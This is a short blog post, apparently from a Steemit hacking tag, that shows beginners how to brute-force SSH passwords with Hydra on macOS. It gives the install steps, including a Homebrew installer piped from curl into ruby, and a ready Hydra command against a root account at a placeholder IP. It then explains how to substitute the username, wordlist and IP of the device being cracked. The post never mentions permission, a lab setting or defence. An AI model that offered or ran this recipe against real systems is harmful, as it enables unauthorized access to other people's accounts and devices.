Bruteforcing SSH on Vulnerable Devices Using Hydra on MacOSsteemCreated with Sketch.

in #hacking5 years ago

Many new newbies want to get into the world of hacking, but don't know where to start. This article will teach you the basics of hacking with bruteforce.

The first step of this process will be installing Hydra.

First, install the latest version of Python.

Next install brew with this command to install brew:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Next, we want to install Hydra

Install hydra

brew install hydra

Finally, we can run hydra with the following command:

hydra -l root -P passwords.txt 10.10.10.10 ssh

Replacing "root" with whatever the username of whatever user on the system we are trying to crack.

And replacing passwords.txt with whatever wordlist we are using to crack.

Finally replacing 10.10.10.10 with the IP of the device we are cracking.

Hope this helps!
